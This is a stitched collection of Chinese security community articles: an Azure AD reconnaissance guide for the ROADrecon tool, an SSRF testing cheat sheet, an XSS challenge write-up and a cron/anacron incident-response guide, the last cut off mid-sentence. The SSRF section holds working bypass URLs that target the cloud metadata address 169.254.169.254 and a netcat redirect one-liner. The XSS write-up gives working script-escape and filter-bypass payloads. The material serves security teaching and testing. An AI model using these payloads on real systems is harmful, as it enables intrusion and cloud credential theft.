--refresh-token REFRESH_TOKEN
Refresh token (JWT)
-f TOKENFILE, --tokenfile TOKENFILE
File to store the credentials (default: .roadtools_auth)
--tokens-stdout Do not store tokens on disk, pipe to stdout instead
最常见的可能是用户名+密码身份验证或设备代码身份验证。用户名+密码是最简单的，它不支持任何方式的MFA，因为它是非交互的。如果您的帐户需要MFA，您可以使用设备代码流，它将为您提供在浏览器中输入的代码。这里有更多的选项，在大多数情况下不需要使用，但用于高级选项时使用，或者如果您想使用通过不同方法获得的令牌。我计划将来写一篇关于Azure
AD认证和红队可用选项的博客。默认情况下，ROADrecon将假装是Azure AD PowerShell模块，因此将继承其访问Azure
AD图内部版本的权限。默认情况下，ROADrecon将把获得的身份验证令牌存储在磁盘上一个名为' .roadtools_auth
'的文件中。根据身份验证方法的不同，此文件包含长时间的刷新令牌，可以保持您一直处于登录状态。这个文件还与使用roadlib作为身份验证库的任何(将来的)工具兼容。如果不想在磁盘上存储令牌，还可以将它们输出到stdout，这样就可以直接将它们导入下一个命令。
### 收集所有数据
第二步是数据收集，这是由“roadrecon gather”命令完成的。这有几个简单的选择:
usage: roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
optional arguments:
-h, --help show this help message and exit
-d DATABASE, --database DATABASE
Database file. Can be the local database name for SQLite, or an SQLAlchemy compatible URL such as
postgresql+psycopg2://dirkjan@/roadtools. Default: roadrecon.db
-f TOKENFILE, --tokenfile TOKENFILE
File to read credentials from obtained by roadrecon auth
--tokens-stdin Read tokens from stdin instead of from disk
--mfa Dump MFA details (requires use of a privileged account)
默认情况下，它将把它转储到当前目录中名为roadrecon.db的SQLite数据库中。使用postgresql需要一些额外的设置和`psycopg2`的安装。令牌的选项取决于您在身份验证阶段使用的设置，如果不用更改，则不需要这些设置。目前唯一的另外一个选择是，是否希望在多因素身份验证上转储数据，比如每个用户设置了哪些方法。这是数据收集的唯一特权组件，它需要一个具有角色成员资格的帐户，以便访问该信息(例如全局管理员或身份认证管理员)。
ROADrecon将分两个阶段请求所有可用的数据。第一阶段使用Python库`aiohttp`并行请求所有用户、组、设备、角色、应用程序和服务主体。请求这些对象是并行完成的，Azure
AD图返回100个条目，其中还包含一个用于请求下一个页面的令牌。这意味着请求接下来的100个条目只能在返回前100个条目的结果之后执行，这实际上仍然是一个串行过程。每个对象类型都是并行请求的，但是在继续之前，它仍然需要等待最慢的并行作业完成。
在第二阶段，查询所有关系，例如组成员关系、应用程序角色、目录角色成员和应用程序/设备所有者。因为这是每个单独的组执行的，所以这里会有更多的并行任务，因此使用`aiohttp`库的速度收益会变得更大。为了限制内存中对象的数量，ROADrecon定期将数据库的更改写入到磁盘(大约1000个更改或新条目块)。这不是异步完成的，因为在我的测试中，性能瓶颈似乎是HTTP请求而不是数据库的读写。
总的来说，整个过程是相当快的，肯定比在我重写到异步代码之前以串行方式转储所有东西要快得多。导出一个有5000个用户的Azure
AD环境大约需要100秒。对于我测试过的真正大的环境(大约12万用户)，这仍然会花费相当长的时间(大约2小时)，因为在数据收集的第一阶段需要串行请求的对象数量实在太多。
(ROADtools) user@localhost:~/ROADtools$ roadrecon gather --mfa
Starting data gathering phase 1 of 2 (collecting objects)
Starting data gathering phase 2 of 2 (collecting properties and relationships)
ROADrecon gather executed in 7.11 seconds and issued 490 HTTP requests.
## 使用ROADrecon GUI探索数据
现在我们可以访问数据库中本地磁盘上的所有数据，我们可以开始研究它，并将其转换为便于理解的格式。它有多种选择，ROADrecon在构建时考虑到了可扩展性，因此它有一个基本的插件框架，允许编写插件来获取数据库中的数据并将其输出到一些有用的东西中。对于真正简单的用例，您甚至不需要ROADrecon，通过编写几行代码就可以完成您想要它做的事情。下面是一个简单的工具示例，只需要您从`roadlib`导入数据库定义，然后打印数据库中所有用户的名称:
from roadtools.roadlib.metadef.database import User
import roadtools.roadlib.metadef.database as database
session = database.get_session(database.init())
for user in session.query(User):
print(user.displayName)
大多数情况下你不需要编写任何代码，因为ROADrecon已经提供了一些导出插件和功能齐全的GUI。当运行`roadrecono
-gui`或`roadrecon gui`命令时，它会通过Flask启动一个本地web服务器，该服务器会公开一个REST
API，这个API可以被这个单页Angular JavaScript应用程序访问。
目前功能:
* 用户/设备/组列表
* 单页目录角色概述
* 应用程序概述
* 服务主体详情
* 角色/ OAuth2权限分配
* MFA概述
以下是一些屏幕截图(或观看[demo](https://youtu.be/o5QDt30Pw_o?t=2838)):
这些清单的一个常见组成部分是，最重要的属性显示在表中，表支持分页和快速筛选选项。如果您想知道一个对象的更多细节，或者它是如何与其他组件关联的，那么可以单击大多数对象。当单击时，更详细的信息将显示在弹出窗口中。
每个对象都有一个“raw”视图，它以可折叠的JSON结构显示所有可用的属性(这些属性直接来自Azure AD内部API)。
我最喜欢的一个视图是Directory
Roles视图，因为该视图提供了一个非常快速的概览，了解哪些用户或服务帐户分配了特权角色。如果你使用一个有特权的帐户(蓝队)进行收集了MFA信息，你可以立即看到哪些帐户注册了MFA方法，哪些没有。
另一个是Application Roles页面，它显示了服务主体在Microsoft图中拥有的所有特权，以及在应用程序中为某个角色分配了哪些用户/组。
在GUI中还有一些东西还在开发中，我计划稍后添加更高级的过滤功能，但基本的东西已经在那里了，总的来说，它相当快，除非在大型环境中加载一些时间，。
## ROADrecon插件 - 解析条件访问策略
我已经提到了插件，其目标是让其他人更容易编写自己的插件或与ROADrecon交互的工具。我与同事Adrien
Raulot一起开发的示例插件是条件访问策略插件，该插件尚未进入GUI。正如我在BlueHat演讲中所讨论的，在Azure
Portal中，条件访问策略对于普通用户是不可见的。内部的Azure AD
API允许任何人列出它们，但是它们的原始格式充满了guid，需要手动解决。ROADtools的“policy”插件将它们解析为可读格式并输出到一个静态HTML页面。由于在Azure
AD中探索条件访问策略是一件很痛苦的事情，而且需要太多的点击，所以这个页面是我最喜欢的探索它们的方法之一。从红队的角度来看，条件访问策略是决定哪些应用程序具有更严格的访问控制(如需要MFA或托管设备)的最有价值的资源。
## BloodHound
另一个很有潜力的插件是BloodHound插件。这个插件在数据库中读取Azure
AD的对象，并将其写入包含BloodHound数据的(本地)neo4j数据库中。在使用BloodHound界面的自定义[fork](https://github.com/dirkjanm/bloodhoundazuread)时，您可以可视化地探索用户、组和角色，包括与预置
Active Directory用户的链接(如果是同步环境的话)。
BloodHound仍在alpha版本，需要一些密码学知识才能真正得到所有的信息。我知道其他人(比如Harmj0y和tifkin_)也在编写一个支持Azure
AD的BloodHound，所以我希望它能被进一步开发，甚至可能合并到官方的BloodHound项目中。
# 获取这些工具
最简单的安装方法是使用PyPi，在[Azure
Pipelines](https://dev.azure.com/dirkjanm/ROADtools/_build/latest?definitionId=19&branchName=master)中可以使用来自Git的自动构建。
BloodHound的fork可以在<https://github.com/dirkjanm/BloodHound-AzureAD上下载。>
我也有很多带有ROADtools标志的贴纸(感谢[Sanne](https://twitter.com/sannemaasakkers/)的设计帮助!)，一旦我们可以安全地再次召开会议，我就会分发出去!
# 防御
在我看来，枚举不是蓝队应重点关注的进攻技术。 防止未经授权的用户访问此信息的最佳方法是，通过严格的条件访问策略来管理允许用户从何处以及从何处使用其Azure
AD凭据。 话虽这么说，已弃用的`MSOnline`PowerShell模块中有一个设置可以防止使用Azure
AD图进行枚举，[此文档在此处记录](https://docs.microsoft.com/en-us/powershell/module/msonline/set-msolcompanysettings?view=azureadps-1.0)。
我个人没有考虑绕过此功能，也没有考虑如果启用了此功能，Azure中的其他功能是否会中断。 | 社区文章 |
项目地址：<https://github.com/cujanovic/SSRF-Testing#ssrf-server-side-request-forgery-testing-resources>
作者：Predrag Cujanović
#### 基于快速网址绕过：
http://google.com:80+&@127.88.23.245:22/#[email protected]:80/
http://127.88.23.245:22/+&@google.com:80#[email protected]:80/
http://google.com:80+&@google.com:80#[email protected]:22/
http://127.88.23.245:22/[email protected]:80/
http://127.88.23.245:22/#@www.google.com:80/
#### htaccess - 针对各种情况的重定向测试
状态码: 300, 301, 302, 303, 305, 307, 308
文件类型: jpg, json, csv, xml
**演示:**
jpg 301 响应（分别提供有/无有效响应正文的情况）:
https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg
https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg
https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg
https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg
json 301 响应（分别提供有/无有效响应正文的情况）:
https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json
https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json
https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json
https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json
csv 301 响应（分别提供有/无有效响应正文的情况）:
https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv
https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv
https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv
https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv
xml 301 响应（分别提供有/无有效响应正文的情况）:
https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml
https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml
https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml
https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml
#### custom-30x - Custom 30x 响应 和 PHP Location header
**演示:**
`https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json`
#### custom-200 - Custom 200 响应和 PHP Content-Location header
**演示:**
`https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json`
#### custom-201 - Custom 201 响应和 PHP Location header
**演示:**
`https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json`
#### 使用 netcat 的最小 Web 服务器
`while true ; do nc -l -p 80 -c 'echo -e "HTTP/1.1 302 Found\nContent-Type:
application/json\nLocation: http://169.254.169.254/\n{\"a\":\"b\"}"'; done`
`while true ; do nc -l -p 554 -c 'echo -e "RTSP/1.0 301 Moved\nCSeq:
1\nLocation: http://169.254.169.254/"'; done`
#### ip.py - 用于 SSRF 测试的备用 IP 编码工具
python ip.py IP PORT WhiteListedDomain EXPORT(optional)
python ip.py 169.254.169.254 80 www.google.com
python ip.py 169.254.169.254 80 www.google.com export
### DNS pinning
nslookup ssrf-169.254.169.254.localdomain.pw
#### DNS pinning 竞态条件
nslookup ssrf-race-169.254.169.254.localdomain.pw
#### DNS Rebinding
pip install twised
python dns.py WhitelistedIP InternalIP Port
python dns.py 216.58.214.206 169.254.169.254 53
<http://webcache.googleusercontent.com/search?q=cache:http://www.611eternity.com/DNSRebinding%E6%8A%80%E6%9C%AF%E5%AD%A6%E4%B9%A0/>
#### cloud-metadata.txt - 适用于SSRF测试的云端元数据字典
#### svg - svg 文件的 SSRF
#### ffmpeg - ffmpeg 的 SSRF
<https://hackerone.com/reports/237381>
<https://hackerone.com/reports/243470>
<https://github.com/neex/ffmpeg-avi-m3u-xbin>
<https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf>
<https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.g22371f2702_0_15>
#### iframe - SSRF with html iframe + URL bypass
**演示:**
`http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/`
#### commonly-open-ports.txt - 常开端口列表
#### Java / Python FTP注入允许防火墙绕过
<http://webcache.googleusercontent.com/search?q=cache:http://blog.blindspotsecurity.com/2017/02/advisory-javapython-ftp-injections.html>
<http://webcache.googleusercontent.com/search?q=cache:https://shiftordie.de/blog/2017/02/18/smtp-over-xxe/>
#### SSRF + Gopher + Redis
<http://webcache.googleusercontent.com/search?q=cache:http://vinc.top/2016/11/24/%E3%80%90ssrf%E3%80%91ssrfgopher%E6%90%9E%E5%AE%9A%E5%86%85%E7%BD%91%E6%9C%AA%E6%8E%88%E6%9D%83redis/>
<https://webcache.googleusercontent.com/search?q=cache:http://antirez.com/news/96>
#### 通常容易出现SSRF漏洞的五大功能：
<https://webcache.googleusercontent.com/search?q=cache:https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF>
#### AppSecEU15-Server_side_browsing_considered_harmful.pdf
<https://www.youtube.com/watch?v=8t5-A4ASTIU>
#### us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
#### SSRF 提示
<http://webcache.googleusercontent.com/search?q=cache:http://blog.safebuff.com/2016/07/03/SSRF-Tips/>
#### SSRF 圣经
<https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM>
* * * | 社区文章 |
前面发表了《一些BAT的XSS实例（一）基础篇》和《一些BAT的XSS实例（二）进阶篇》，主要详细的讲了下1~5题的思路，错过的朋友可以点击上面链接，去查看相应的文章，下面我们来看下后面其他的题。
**背 景**
有很多人私信问我，能不能来一些XSS绕过实例分析，我选了些N年前的BAT的XSS实例来聊聊构造和绕过思路。（这些实例都是已经公开并且修补完毕的，这里是只是以此为原型，并做了一定的修改，进行了一些XSS题目的设计而已。）
先一次性把16道题发出来（大部分的题都是一题多解，尽量给出多种思路，或者最短的解法。）
<http://px1624.sinaapp.com/test/xsstest1/>
（其他题目，将xsstest1依次改为xsstest1~xsstest16即可获取）
有兴趣的朋友，可以先不看文章，自己尝试的做一做题目，有答案的话可以发到我的邮箱[email protected]
并附上自己的ID，说不定下篇文章里面就会有你的绕过思路被收录了额。
**◇ 1 先看看第七题**
因为第六题应该是所有题中最难的，目前只有ID：gainover解出来了所以还是先不公布答案，上篇文章《一些BAT的XSS实例（二）进阶篇》已经给出了部分提示，还是给更多的人留些解题时间，放到最后在公布吧。所以先看第七题。
先来看源码
一看到这个情况，做过前面题的人应该懂，首先要自己写参数px
看着好像蛮简单的，直接去构造下。
如上图，可以发现特殊字符被转义了啊，所以单引号这样子就跳不出了，后面的注释也就用不了了。这时候肯定是想的，再去试试反斜线，如果这个没有过滤，那么 \'
就会被过滤为 \' 这样等于是将反斜线进行了转义，所以后面的单引号就没有被转义了，那么就可以闭合代码里单引号，从而跳出单引号限制了。
大概的意思如上图代码解释
如上图，果然反斜线没有转义。
但是最后面这个多出来的单引号怎么处理？你会发现不管你怎么尝试，这里的单引号就是没法处理掉，基本上到这步，很多人就已经打出GG了。
很多人似乎想到第四题，我们可以不可以把其中一部分内容当做模板字符串，但是你会发现还是有区别的，因为第四题的输出点2个位置都在js环境里，而这里是一个在js中一个在html中，所以直接这样肯定是不行的，因为不管你怎么构造，你都会发现script标签里的输出部分最后面的这个单引号没办法解决。
不过通过观察，我们发现html中的字符的过滤逻辑和js中并不一样。
测试发现，js中的可控点是进行了反斜杠的转义，html中的是进行了html实体编码。一番尝试后，肯定会发现不管是在js中还是html中，都是无法成功构造XSS的。那么如果我们有办法跳出script标签，然后把后面的代码也当做js去解析的话，是不是就和第四题的情况基本一样了？
所以这里是有一个知识点，如果不知道的话，那么这个题是大概率解不出来的。
<https://www.dazhuanlan.com/2019/10/25/5db1e6beea817/>
具体可以看下上面链接的文章解释，可能一时半会还是比较难理解的，这里大概意思就是说在script标签里面如果遇到了 <!-- 那么这个的解析优先级会变成最高，如果这个后面再出现 <script> 标签，那么最近的另一个</script>标签就会优先去先闭合这个，从而打破了原先跳不出script标签限制的这个点。
可能这么解释大家一时半会还是不太容易理解，这里我用这个实例来给解释吧。
如上图，输入个<!--<script>进去，看看能不能跳出script标签限制，发现貌似没啥作用，仔细看看，因为script标签这里被转义了，所以要给后面加个空字符，这样也是不影响解析的。
如上图，会发现已经成功的跳出了script标签了
<!-- 的出现改变了内部解析优先级，后面出现<script>程序就会去寻找最近的</script> 然后 <!-- 会寻找后面的 -->
进行闭合。
这样下面本来在html位置的输出点，也变成了js代码进行解析了，那么再按照第四题的方法，利用模板字符串，去进行构造就可以了。
首先还是先闭合跳出单引号，然后写入模板字符串，如下图看下代码。
如上图，再调试下使得js代码语法正确就可以了，这里模板字符串可以用运算符隔开，后面多余部分的代码注释掉即可。
如上图，这里等于我是把
<!--<script >
以及其他标签，全部放到了模板字符串里了。这里的script标签其实都是不需要闭合的。
http://px1624.sinaapp.com/test/xsstest7/?px=111\%27-alert(1)-`//%3C!--%3Cscript%20
这里再给出其他一些人的答案，构造思路还是千姿百态的。
ID：Huuuuu 他这里是将无用内容分别放到了单引号的字符串和模板字符串里。
http://px1624.sinaapp.com/test/xsstest7/?px=`//*%3C!--%3Cscript%20%3E\%27-alert(1)-`
ID：香草 他的思路是把无用内容放到了2个模板字符串里，alert放在了hash里。
http://px1624.sinaapp.com/test/xsstest7/?px=\%27-`-eval(location.hash.slice(1))//%3C!--%20%3Cscript%20%3E`-`#alert(1)
ID：zeddy 这个构造思路比较有意思，和其他人不太一样，我重点分享下。
http://px1624.sinaapp.com/test/xsstest7/?px=%3C!--%3Cscript%20`)/*\%27%0aalert(1)%0aalert(`*///
他的这个payload是会弹两次的，这个构造的思路也比较有意思。
首先也是引入了
<!--<script%20
他这里就是用的开口的标签，然后这部分标签第一个输出点放在了单引号字符串里，第二个输出点放在了模板字符串里。然后后面的alert他用的%0a进行了换行，避免了语法错误，同步输出的alert点他用了
/*xxxx*/
进行了注释，最后面多出来的标签用了//进行了注释。
虽然思路比较的绕，但是可以看出来，这哥们在做这道题的时候，构造思路用的还是比较与众不同的。这个payload的思路，可以进行一定的优化的，如下。
比如先去掉后面无用的alert和括号，再把%0a改成运算符号。
http://px1624.sinaapp.com/test/xsstest7/?px=%3C!--%3Cscript%20`/*\%27-alert(1)-`*///
没有了%0a换行有，这里注释也可以精简下，最终就是这样
是不是发现精简后的结果和我一开始给的解法，其实也是差不多的额。
**◇ 2 下面来看看第八题**
第八题这里可以看到有4个输出点，其中js中有2个，html中有2个（其中第一个点限制了长度），js中的过滤规则和第七题一样，html中一处做了html编码，另一处value属性的位置似乎什么都没过滤。
那么马上心里面就有答案了，直接给这个属性位置的输出点构造
xxx"onxxxx=alert(1)//
应该就可以了。
结果一看，这里是对双引号做了单独的过滤措施，统一过滤成了实体字符。所以说这个题肯定不会这么的简单，如果实际中遇到这种情况，估计很多人会觉得没啥问题，可能直接就放弃了，实际中的输出点可是不会这么高度聚集在一起的额。
这里其实还是要先跳出script标签的，至于为什么要这么设计，只是因为实例中的过滤就是这个样子，我直接移植过来了而已。由于第七题对这个思路已经做了很详细的分析，所以这里就简单的提一提就行了。
这里给出p1g3、zeddy的解法，具体payload有些区别，但是思路都是一样的，而且写的比较复杂，我这里精简下给出他们的思路方法。
http://px1624.sinaapp.com/test/xsstest8/?px=%3C!--%3C/script%3E%3Cscript%20%3Ealert(1)%3C/script%3E
利用<!-- <script> 跳出了原有的script，然后后面写入新的script，由于script标签解析的优先性，就破坏了value属性位置的双引号，从而执行了XSS。
但是他们2人的答案有个共性，那就是不能过谷歌浏览器的xss filter，虽然在测试的时候发现，最新版的谷歌浏览器把xss
filter给去掉了，但是这样的答案还是不够通用，因为低版本谷歌浏览器还是有xss filter的，而且谁知道后面谷歌会不会再把xss
filter给加回来呢？
ID：香草 的答案就充分的利用了过滤规则，从而绕过了过滤器，payload给的也比较复杂，大概思路是这样绕过xss filter的。
http://px1624.sinaapp.com/test/xsstest8/?px=%3C!--%3C/script%3E%3Cscript%20%3E%22=alert(1)%3C/script%3E
为什么这样就可以了？估计很多人肯定一脸懵逼吧。这个要先了解下谷歌xss
filter的运行机制，如下图，主要是将输出的代码和URL中的代码进行对比，如果不同就会默认为安全输出。
那么就很好理解了，前面几个人的这个payload，输出和URL是一样的，所以会被xss filter认为是有XSS风险，进行拦截。
ID：香草 的这个，巧妙的利用了此题对双引号过滤为实体字符的策略，这样输出和URL位置就不一样了，所以xss filter就不会进行拦截了。
此题你会发现，上面的答案控制台是会报错的，因为这里等于是重写写入了一个script标签对，然后报错是因为之前的那个script里面语法各种报错了。
此题ID：gainover、Huuuuu 还都给出了另一个解法，具体细节思路将在下一篇中进行分享。
3 下面再顺便看看第九题吧
此题对第八题做了一定的修改，还是四处输出点，区别就是这里对双引号的过滤方式进行了改变，而且对2处html位置的输出点都做了html编码，并且同步限制了长度。所以想着用上面的方法直接写入标签，那基本上是不可能的了。那么这个应该怎么去解呢？
具体思路和细节，放到下篇再写吧。这里建议大家不要太关注payload答案，主要分享的是构造思路，如果太在意payload的具体内容，可能反而会限制自己的思路，因为这些题都是开放性的，不存在什么标准答案。只要能解出来的，都是好思路。
友情提示：后面的逻辑相对较复杂，在解第九题的时候，建议安装个Visual Studio Code方便调试。
是不是意犹未尽呢？那就关注公众号等待后面的精彩解析吧。
**尾 巴**
目前最新情况是，一部分的人做出来了1~5题，卡到了第6题。其实卡住了的话，是可以跳着去做其他题的，因为整体来看，第6题应该是最难的了。
ID：gainover 解出了全部10题。
ID：Huuuuu 解出了1~5题，以及7~10题。
ID：香草 解出了1~4题，以及7~10题。
ID：p1g3、zeddy 解出了1~5题，以及7~8题。
其他已经做出未被提及的，可以将自己的答案和ID发我qq邮箱：px1624.qq.com | 社区文章 |
在应急响应中，最重要的一个点就是定时任务，例如Redis未授权通过持久化配置写入Crontab中。下面梳理一下定时任务相关的知识点：
一般常用的定时任务crontab -l是用户级别的，保存在/var/spool/cron/{user}，每个用户都可以通过crontab
-e编辑自己的定时任务列表。
而/etc/crontab是系统级别的定时任务，只有Root账户可以修改。
另外在应急的时候需要留意的点还有/etc/cron.hourly, /etc/cron.daily,
/etc/cron.weekly,/etc/cron.monthly等周期性执行脚本的目录。例如我想每天执行一个脚本，只需要放到/etc/cron.daily下，并且赋予执行权限即可。
那这些目录下的任务是怎么调用的？这里CentOS5和CentOS6还是有区别的。
CentOS5中：
[root@jianshe_28 /]# cat /etc/issue
CentOS release 5.8 (Final)
Kernel \r on an \m
[root@jianshe_28 /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
run-parts命令位于/usr/bin/run-parts，内容是很简单的一个shell脚本，就是遍历目标文件夹，执行第一层目录下的可执行权限的文件。
所以在CentOS5下是实际是通过/etc/crontab来运行/etc/cron.hourly, /etc/cron.daily,
/etc/cron.weekly,/etc/cron.monthly下面的脚本的。
这里我们注意到在/etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下都有一个脚本0anacron
[root@jianshe_28 cron.daily]# cat /etc/cron.daily/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
anacron -u cron.daily
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.weekly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
anacron -u cron.weekly
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.monthly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
anacron -u cron.monthly
fi
这里就需要介绍一些/usr/sbin/anacron，anacron是干什么的？
anacron主要在处理非 24 小时一直启动的 Linux 系统的 crontab 的运行。所以 anacron 并不能指定何时运行某项任务，
而是以天为单位或者是在启动后立刻进行 anacron 的动作，他会去检查停机期间应该进行但是并没有进行的 crontab
任务，并将该任务运行一遍后，anacron 就会自动停止了。
anacron的配置文件是/etc/anacrontab
[root@jianshe_28 cron.daily]# cat /etc/anacrontab
# /etc/anacrontab: configuration file for anacron
# See anacron(8) and anacrontab(5) for details.
SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
1 65 cron.daily run-parts /etc/cron.daily
7 70 cron.weekly run-parts /etc/cron.weekly
30 75 cron.monthly run-parts /etc/cron.monthly
具体含义如下：
period delay job-identifier command
<轮回天数> <轮回内的重试时间> <任务描述> <命令>
7 70 cron.weekly run-parts /etc/cron.weekly
第一部分是轮回天数，即是指任务在多少天内执行一次，monthly 就是一个月（30天）内执行，weekly 即是在一周之内执行一次。
第二部分 delay 是指轮回内的重试时间，这个意思有两部分，一个是 anacron 启动以后该服务 ready 暂不运行的时间（周任务的 70 delay
在 anacron 启动后70分钟内不执行，而处于 ready
状态），另一个是指如果该任务到达运行时间后却因为某种原因没有执行（比如前一个服务还没有运行完成，anacron 在 /etc/init.d 的脚本中加了一个
-s 参数，便是指在前一个任务没有完成时不执行下一个任务），依然以周任务和月任务为例，周任务在启动 anacron 后的 70 分钟执行，月任务在服务启动后
75 分钟执行，但是，如果月任务到达服务启动后 75 分钟，可是周任务运行超过5分钟依然没有完成，那月任务将会进入下一个 75 分钟的轮回，在下一个 75
分钟时再检查周任务是否完成，如果前一个任务完成了那月任务开始运行。
第三部分 job-identifier ，anacron 每次启动时都会在 /var/spool/anacron 里面建立一个以 job-identifier
为文件名的文件，里面记录着任务完成的时间，如果任务是第一次运行的话那这个文件应该是空的。anacron运行时，会去检查“/var/spool/anacron/这部分”文件中的内容，内容为一个日期，如下：
[root@localhost /]# cat /var/spool/anacron/cron.
cron.daily cron.monthly cron.weekly
[root@localhost /]# cat /var/spool/anacron/cron.*
20170719
20170713
20170713
根据这个日期判断下面的第四部分要不要执行。
比如说这里写的是cron.daily，然后/var/spool/anacron/cron.daily文件中记录的日期为昨天的话，那anancron执行后就行执行这一行对应第四行的动作。
第四部分最为简单，仅仅是你想运行的命令
/usr/sbin/anacron常用参数：
-s ：开始连续的运行各项工作 (job)，会依据时间记录档的数据判断是否进行；
-f ：强制进行，而不去判断时间记录档的时间戳记；
-n ：立刻进行未进行的任务，而不延迟 (delay) 等待时间；
-u ：仅升级时间记录档的时间戳记，不进行任何工作。
所以在CentOS5中已经通过/etc/cron.hourly, /etc/cron.daily,
/etc/cron.weekly,/etc/cron.monthly已经通过/etc/crontab配置执行了，所以这里只是通过anacron
-u来记录了执行的时间。
CentOS6中：
[root@localhost /]# cat /etc/issue
CentOS release 6.5 (Final)
Kernel \r on an \m
[root@localhost /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
可以看到默认的/etc/crontab为空了。那么/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,
/etc/cron.monthly下面的任务是怎么执行的？
我们再仔细看一下，注意到CentOS5下的/etc/cron.d目录为空。
[root@jianshe_28 cron.daily]# ll /etc/cron.d
total 0
而CentOS6下有一个0hourly
[root@localhost /]# ll /etc/cron.d
total 12
-rw-r--r-- 1 root root 113 Jul 18 19:36 0hourly
看一下执行的任务
[root@localhost /]# cat /etc/cron.d/0hourly
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
01 * * * * root run-parts /etc/cron.hourly
然后看一下/etc/cron.hourly所执行的脚本
[root@localhost /]# ll /etc/cron.hourly
total 4
-rwxr-xr-x 1 root root 409 Jul 18 14:20 0anacron
[root@localhost /]# cat /etc/cron.hourly/0anacron
#!/bin/bash
# Skip excecution unless the date has changed from the previous run
if test -r /var/spool/anacron/cron.daily; then
day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
exit 0;
fi
# Skip excecution unless AC powered
if test -x /usr/bin/on_ac_power; then
/usr/bin/on_ac_power &> /dev/null
if test $? -eq 1; then
exit 0
fi
fi
/usr/sbin/anacron -s
然后看一下/etc/anacrontab的内容
[root@localhost /]# cat /etc/anacrontab
# /etc/anacrontab: configuration file for anacron
# See anacron(8) and anacrontab(5) for details.
SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# the maximal random delay added to the base delay of the jobs
RANDOM_DELAY=45
# the jobs will be started during the following hours only
START_HOURS_RANGE=3-22
#period in days delay in minutes job-identifier command
1 5 cron.daily nice run-parts /etc/cron.daily
7 25 cron.weekly nice run-parts /etc/cron.weekly
@monthly 45 cron.monthly nice run-parts /etc/cron.monthly
这里多了两条配置
RANDOM_DELAY=45
表示定时触发后随机延迟45分钟以内的时间再启动应用
START_HOURS_RANGE=3-22
表示程序在3时至22时之间会启动
看到这里我们就明白了在CeontOS6
里面，crond会检查/etc/cron.d里面的配置，里面有一个0hourly文件，每小时去运行一次/etc/cron.hourly目录，该目录下面有一个0anacron文件，这样0anacron文件就能每小时运行一次，这里其实执行的是/usr/sbin/anacron
-s。anacron读取配置文件/etc/anacrontab，将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比，如果需要则去运行/etc/anacrontab对应的条目。
总结：
应急响应中关于定时任务应该排查的/etc/crontab,/etc/cron.d,/var/spool/cron/{user},然后顺藤摸瓜去看其他调用的目录/etc/cron.hourly,
